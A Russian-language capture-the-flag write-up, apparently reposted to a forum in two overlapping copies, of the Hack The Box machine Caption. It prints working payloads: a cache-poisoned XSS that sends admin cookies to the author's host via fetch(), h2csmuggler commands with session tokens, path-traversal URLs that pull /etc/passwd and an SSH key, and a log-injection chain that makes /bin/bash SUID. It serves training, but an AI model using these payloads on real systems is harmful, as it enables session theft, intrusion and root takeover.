stihl не предоставил(а) никакой дополнительной информации.
Сегодня мы проэксплуатируем сложную цепочку уязвимостей в веб‑приложении. Через Web Cache Poisoning подгрузим собственный скрипт на JS и заюзаем XSS для кражи cookie администратора. Затем используем H2 Request Smuggling для получения доступа к CPR, где применим LFI, чтобы извлечь приватные данные. Повысим привилегии через инъекцию команд ОС в сервис логирования.
Наша цель — получение прав суперпользователя на машине Caption с учебной площадки Hack The Box. Уровень задания — сложный.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войдиили Зарегистрируйся
Сканер нашел три открытых порта:
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
В первую очередь нас интересует история коммитов.
Для просмотра ссылки Войдиили Зарегистрируйся
Просматриваем каждый коммит отдельно и в коммите с описанием Update access control находим учетные данные пользователя margo.
Для просмотра ссылки Войдиили Зарегистрируйся
С полученными учетными данными авторизуемся на сайте, работающем на 80-м порте.
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Просмотрим данные, которые возвращает сервер. Это можно сделать, например, через Burp Proxy.
Для просмотра ссылки Войдиили Зарегистрируйся
Среди заголовков HTTP-ответа есть x-cache, который говорит нам о том, что на веб‑сервере используется кеш, а также заголовок via, из которого можно понять, что мы имеем дело с HTTP-прокси Varnish 6.6. Давай попробуем получить доступ к закрытой странице через h2csmuggler.
или Зарегистрируйся — это инструмент для исследования и эксплуатации уязвимостей, связанных с HTTP/2 и HTTP/1.1 (h2c) smuggling. Он используется для проверки на наличие уязвимостей, при которых злоумышленник может внедрить и скрыть вредоносные запросы внутри легитимного трафика HTTP/2. Затем эти запросы интерпретируются прокси‑сервером или бэкендом как допустимые запросы HTTP/1.1.
Инструмент работает за счет формирования специально сконструированных HTTP/2-запросов, которые при неправильной обработке приводят к атакам типа HTTP Request Smuggling. Это может дать возможность обойти механизмы аутентификации, исполнить несанкционированные запросы или украсть данные.
Для просмотра ссылки Войдиили Зарегистрируйся
Запрос к целевой странице был доставлен, а значит, уязвимость HTTP Request Smuggling присутствует.
Последствия таких атак включают обход механизмов безопасности (например, брандмауэров или аутентификации), кражу сессий, внедрение вредоносного контента или выполнение несанкционированных операций. Уязвимость часто возникает из‑за неправильной обработки заголовков, таких как Content-Length и Transfer-Encoding, что используется для скрытия и разделения запросов.
Но так как доступа все равно нет, попробуем найти другой вектор. На странице Firewall Management есть сообщение, что админ активно следит за всеми проблемами.
Для просмотра ссылки Войдиили Зарегистрируйся
Если просмотреть запросы в Burp History, можно увидеть еще один запрос к скрипту lib.js, которому в параметре utm_source передается адрес Для просмотра ссылки Войдиили Зарегистрируйся.
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Если запрос был закеширован, при переходе на страницу /firewalls в параметрах загружаемого скрипта можно увидеть адрес, переданный в заголовке X-Forwarded-Host.
Для просмотра ссылки Войдиили Зарегистрируйся
Таким образом, мы можем контролировать некоторые данные, присутствующие в ответе сервера. А это путь к эксплуатации XSS-уязвимости.
"><script src="Для просмотра ссылки Войдиили Зарегистрируйся"></script><"
Чтобы отлавливать запрос, нам нужно запустить листенер:
nc -nlvp 8000
Затем переходим к Burp History, переносим запрос с заголовком X-Forwarded-Host в Burp Intruder и указываем в заголовке нашу нагрузку.
Для просмотра ссылки Войдиили Зарегистрируйся
В качестве нагрузки устанавливаем Null payloads и отмечаем опцию Continue indefinitely, чтобы запросы производились до тех пор, пока мы не остановим Intruder.
Для просмотра ссылки Войдиили Зарегистрируйся
Запускаем Intruder и спустя примерно минуту в окне листенера видим запрос.
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Теперь изменим нагрузку так, чтобы она загружала конкретный JS-файл.
Запустим веб‑сервер:
И создадим файл xss.js с нагрузкой, которая будет присылать cookie пользователя.
Повторяем трюк с Burp Intruder и получаем с удаленного сервера запросы, в которых переданы куки.
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
В коде страницы находим ссылки на различные логи.
Для просмотра ссылки Войдиили Зарегистрируйся
Попробуем получить файл ssh_logs.
Для просмотра ссылки Войдиили Зарегистрируйся
Я также попробовал найти обход каталога и получить доступ к другим файлам в системе, но безрезультатно. Поэтому открываем страницу через браузер и видим какое‑то веб‑приложение.
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
По первой же Для просмотра ссылки Войдиили Зарегистрируйся из Google доступно описание уязвимости обхода каталога в Copyparty 1.8.2.
Для просмотра ссылки Войдиили Зарегистрируйся
Так, из каталога .cpr можно получить содержимое любого файла, если кодировать слеши как %252. Попробуем прочитать файл /etc/passwd, для чего обратимся к такому URL:
В командной строке выполняем
Для просмотра ссылки Войдиили Зарегистрируйся
Из файла узнаём, что в системе есть пользователь margo. Попробуем найти в домашнем каталоге этой учетной записи ключи SSH.
Для просмотра ссылки Войдиили Зарегистрируйся
Находим ключ, авторизуемся с ним от имени margo и получаем первый флаг.
Для просмотра ссылки Войдиили Зарегистрируйся
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много информации, но из важной можно отметить только список прослушиваемых локально портов. На хосте открыт порт 9090, который по умолчанию установлен в приложении из репозитория LogService.
Для просмотра ссылки Войдиили Зарегистрируйся
В коде приложения LogService есть уязвимость, дающая возможность злоумышленнику внедрять команды ОС в пользовательский ввод (строки 42–43). Однако приложение написано на основе Thrift, и до этого блока кода нужно как‑то дотянуться.
Для просмотра ссылки Войдиили Зарегистрируйся
Thrift — это кросс‑языковой фреймворк для разработки сетевых приложений. Он предоставляет средство для описания API приложений и автоматически генерирует код для реализации клиент‑серверного взаимодействия на разных языках программирования. Так как на удаленной машине работает сервер Thrift с методом ReadLogFile, нам нужно реализовать клиент Thrift, вызывающий этот метод и передающий в него путь к локальному файлу с логами.
Метод ReadLogFile парсит файл и подставляет данные в команду echo. В результате если файл будет содержать строку 127.0.0.1 "user-agent":"'; /bin/bash /tmp/privesc.sh #", то exec.Command выполнит цепочку команд, включая скрипт /tmp/privesc.sh.
Создадим на удаленной машине два файла: /tmp/expl.log и /tmp/privesc.sh, после чего дадим права на выполнение.
Перейдем к написанию клиента, для чего сначала установим Thrift.
Теперь нужно подготовить определение сервиса LogService с методом ReadLogFile. Файл log_service.thrift должен иметь следующее содержимое:
Используя thrift-компилятор на основе log_service.thrift, сгенерируем код на Python.
В текущей директории появится каталог gen-py, который будет содержать файлы с интерфейсами, типами данных, константами и прочей подобной информацией. Внутри gen-py напишем простенький клиент, который будет вызывать метод ReadLogFile и передавать путь к файлу /tmp/expl.log. С Thrift я работаю впервые, и следующий код сделан с помощью ChatGPT, поэтому оставлю все написанные им комментарии.
Так как порт на сервере прослушивается только для 127.0.0.1, нужно будет прокинуть его на свой хост с помощью SSH.
После выполнения этой команды весь трафик, который мы пошлем на локальный порт 9090, будет туннелирован на порт 9090 указанного хоста (в данном случае 127.0.0.1) через SSH-хост.
Теперь запускаем наш код и проверяем права файла /bin/bash.
Для просмотра ссылки Войдиили Зарегистрируйся
Скрипт /tmp/privesc.sh отработал, и файл командной оболочки получил S-бит.
Таким образом, мы можем запустить bash в контексте root.
Для просмотра ссылки Войдиили Зарегистрируйся
Машина захвачена!
Наша цель — получение прав суперпользователя на машине Caption с учебной площадки Hack The Box. Уровень задания — сложный.
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.33 caption.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войди
Сканер нашел три открытых порта:
- 22 — служба OpenSSH 8.9p1;
- 80 — веб‑сервер Werkzeug Python 3.10;
- 8080 — сервис GitBucket.
Для просмотра ссылки Войди
Точка входа
Изучаем первый проект Caption Portal.Для просмотра ссылки Войди
В первую очередь нас интересует история коммитов.
Для просмотра ссылки Войди
Просматриваем каждый коммит отдельно и в коммите с описанием Update access control находим учетные данные пользователя margo.
Для просмотра ссылки Войди
С полученными учетными данными авторизуемся на сайте, работающем на 80-м порте.
Для просмотра ссылки Войди
Точка опоры
Просматриваем страницы, указанные в меню сайта, и доходим до страницы /logs, доступ к которой ограничен правилами.Для просмотра ссылки Войди
Просмотрим данные, которые возвращает сервер. Это можно сделать, например, через Burp Proxy.
Для просмотра ссылки Войди
Среди заголовков HTTP-ответа есть x-cache, который говорит нам о том, что на веб‑сервере используется кеш, а также заголовок via, из которого можно понять, что мы имеем дело с HTTP-прокси Varnish 6.6. Давай попробуем получить доступ к закрытой странице через h2csmuggler.
Справка: h2csmuggler
Для просмотра ссылки ВойдиИнструмент работает за счет формирования специально сконструированных HTTP/2-запросов, которые при неправильной обработке приводят к атакам типа HTTP Request Smuggling. Это может дать возможность обойти механизмы аутентификации, исполнить несанкционированные запросы или украсть данные.
python3 h2csmuggler.py -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Im1hcmdvIiwiZXhwIjoxNzMxMDUxMDQ5fQ.ZQKvMsikxrrqocadq6_garWdQhfwb6m2E_7GZu7cfg0' -X GET -x http://caption.htb http://caption.htb/logs
Для просмотра ссылки Войди
Запрос к целевой странице был доставлен, а значит, уязвимость HTTP Request Smuggling присутствует.
Справка: HTTP Request Smuggling
HTTP Request Smuggling — это вид веб‑атаки, при которой злоумышленник эксплуатирует несовместимость обработки HTTP-запросов между разными компонентами системы, например прокси‑сервером и сервером приложений. Атака осуществляется путем отправки специально сконструированных HTTP-запросов, которые интерпретируются по‑разному на каждом уровне обработки. Это может привести к тому, что скрытые запросы обрабатываются сервером как легитимные.Последствия таких атак включают обход механизмов безопасности (например, брандмауэров или аутентификации), кражу сессий, внедрение вредоносного контента или выполнение несанкционированных операций. Уязвимость часто возникает из‑за неправильной обработки заголовков, таких как Content-Length и Transfer-Encoding, что используется для скрытия и разделения запросов.
Но так как доступа все равно нет, попробуем найти другой вектор. На странице Firewall Management есть сообщение, что админ активно следит за всеми проблемами.
Для просмотра ссылки Войди
Если просмотреть запросы в Burp History, можно увидеть еще один запрос к скрипту lib.js, которому в параметре utm_source передается адрес Для просмотра ссылки Войди
Для просмотра ссылки Войди
Cache Poisoning
Попробуем заставить сервер закешировать данные. Начнем проверку с популярного заголовка X-Forwarded-Host, в котором передадим случайные данные. В ответе сервера можно увидеть заголовок age, показывающий возраст кеша в секундах. Максимальное время жизни кеша передается в заголовке cache-control в параметре max-age.Для просмотра ссылки Войди
Если запрос был закеширован, при переходе на страницу /firewalls в параметрах загружаемого скрипта можно увидеть адрес, переданный в заголовке X-Forwarded-Host.
Для просмотра ссылки Войди
Таким образом, мы можем контролировать некоторые данные, присутствующие в ответе сервера. А это путь к эксплуатации XSS-уязвимости.
XSS
Наш адрес присутствует внутри тегов script и link. Давай попробуем закрыть эти теги и вставить свой script, который будет загружать файл с нашего сервера."><script src="Для просмотра ссылки Войди
Чтобы отлавливать запрос, нам нужно запустить листенер:
nc -nlvp 8000
Затем переходим к Burp History, переносим запрос с заголовком X-Forwarded-Host в Burp Intruder и указываем в заголовке нашу нагрузку.
Для просмотра ссылки Войди
В качестве нагрузки устанавливаем Null payloads и отмечаем опцию Continue indefinitely, чтобы запросы производились до тех пор, пока мы не остановим Intruder.
Для просмотра ссылки Войди
Запускаем Intruder и спустя примерно минуту в окне листенера видим запрос.
Для просмотра ссылки Войди
Теперь изменим нагрузку так, чтобы она загружала конкретный JS-файл.
"><script src="http://10.10.16.31:8000/xss.js"></script><"
Запустим веб‑сервер:
python3 -m http.server
И создадим файл xss.js с нагрузкой, которая будет присылать cookie пользователя.
fetch("http://10.10.16.31:8000/"+document.cookie);
Повторяем трюк с Burp Intruder и получаем с удаленного сервера запросы, в которых переданы куки.
Для просмотра ссылки Войди
H2 Request Smuggling
С полученным идентификатором сессии повторяем H2 Request Smuggling и получаем доступ к закрытой странице /logs.python3 h2csmuggler.py -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzMxMDU3MjI1fQ._PhWOLmYyCvWIPW0q6WbgY7zz7hkGGMoRSLHf3yTeGg' -X GET -x http://caption.htb http://caption.htb/download\?url\=http://127.0.0.1:3923/ssh_logs
Для просмотра ссылки Войди
В коде страницы находим ссылки на различные логи.
Для просмотра ссылки Войди
Попробуем получить файл ssh_logs.
Для просмотра ссылки Войди
Я также попробовал найти обход каталога и получить доступ к другим файлам в системе, но безрезультатно. Поэтому открываем страницу через браузер и видим какое‑то веб‑приложение.
Для просмотра ссылки Войди
CPR — обход каталога
В исходном коде страницы можно найти ссылки на каталог .cpr. Попробуем определить, что за система используется, а потом поискать готовые эксплоиты для нее.Для просмотра ссылки Войди
По первой же Для просмотра ссылки Войди
Для просмотра ссылки Войди
Так, из каталога .cpr можно получить содержимое любого файла, если кодировать слеши как %252. Попробуем прочитать файл /etc/passwd, для чего обратимся к такому URL:
http://127.0.0.1:3923/.cpr/%252Fetc%252Fpasswd
В командной строке выполняем
python3 h2csmuggler.py -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzMxMDY3OTEzfQ.mqLVWS80goKdTTW4UYvjdFAOH2FlATEgN4hpbJNw0ro' -X GET -x http://caption.htb http://caption.htb/download\?url\=http://127.0.0.1:3923/.cpr/%252Fetc%252Fpasswd
Для просмотра ссылки Войди
Из файла узнаём, что в системе есть пользователь margo. Попробуем найти в домашнем каталоге этой учетной записи ключи SSH.
python3 h2csmuggler.py -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzMxMDY3OTEzfQ.mqLVWS80goKdTTW4UYvjdFAOH2FlATEgN4hpbJNw0ro' -X GET -x http://caption.htb http://caption.htb/download\?url\=http://127.0.0.1:3923/.cpr/%252Fhome%252Fmargo%252F.ssh%252Fid_ecdsa
Для просмотра ссылки Войди
Находим ключ, авторизуемся с ним от имени margo и получаем первый флаг.
Для просмотра ссылки Войди
Локальное повышение привилегий
Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиЗагрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много информации, но из важной можно отметить только список прослушиваемых локально портов. На хосте открыт порт 9090, который по умолчанию установлен в приложении из репозитория LogService.
Для просмотра ссылки Войди
В коде приложения LogService есть уязвимость, дающая возможность злоумышленнику внедрять команды ОС в пользовательский ввод (строки 42–43). Однако приложение написано на основе Thrift, и до этого блока кода нужно как‑то дотянуться.
Для просмотра ссылки Войди
Thrift — это кросс‑языковой фреймворк для разработки сетевых приложений. Он предоставляет средство для описания API приложений и автоматически генерирует код для реализации клиент‑серверного взаимодействия на разных языках программирования. Так как на удаленной машине работает сервер Thrift с методом ReadLogFile, нам нужно реализовать клиент Thrift, вызывающий этот метод и передающий в него путь к локальному файлу с логами.
Метод ReadLogFile парсит файл и подставляет данные в команду echo. В результате если файл будет содержать строку 127.0.0.1 "user-agent":"'; /bin/bash /tmp/privesc.sh #", то exec.Command выполнит цепочку команд, включая скрипт /tmp/privesc.sh.
Создадим на удаленной машине два файла: /tmp/expl.log и /tmp/privesc.sh, после чего дадим права на выполнение.
Код:
# /tmp/expl.log
127.0.0.1 "user-agent":"'; /bin/bash /tmp/privesc.sh #"
# /tmp/privesc.sh
chmod u+s /bin/bash
Перейдем к написанию клиента, для чего сначала установим Thrift.
Код:
sudo apt install thrift-compiler
pip install thrift
Код:
namespace go log_service
service LogService {
string ReadLogFile(1: string filePath)
}
Код:
thrift -r --gen py log_service.thrift
Код:
from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
# Импортируем сгенерированный код
from gen_py.LogService import LogService
def main(log_file_path):
# Создаем сокет и указываем адрес и порт сервера
transport = TSocket.TSocket('127.0.0.1', 9090)
# Устанавливаем буферированный транспорт
transport = TTransport.TBufferedTransport(transport)
# Используем бинарный протокол
protocol = TBinaryProtocol.TBinaryProtocol(transport)
# Создаем клиент для взаимодействия с сервисом LogService
client = LogService.Client(protocol)
# Открываем транспортное соединение
transport.open()
try:
# Вызываем метод ReadLogFile на сервере
client.ReadLogFile(log_file_path)
except Thrift.TException as tx:
print(f"Thrift exception: {tx.message}")
transport.close()
# Пример использования:
log_file_path = '/tmp/expl.log'
main(log_file_path)
Так как порт на сервере прослушивается только для 127.0.0.1, нужно будет прокинуть его на свой хост с помощью SSH.
Код:
ssh -i id_ecdsa margo@caption.htb -L 9090:127.0.0.1:9090
Теперь запускаем наш код и проверяем права файла /bin/bash.
Для просмотра ссылки Войди
Скрипт /tmp/privesc.sh отработал, и файл командной оболочки получил S-бит.
Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.Таким образом, мы можем запустить bash в контексте root.
Для просмотра ссылки Войди
Машина захвачена!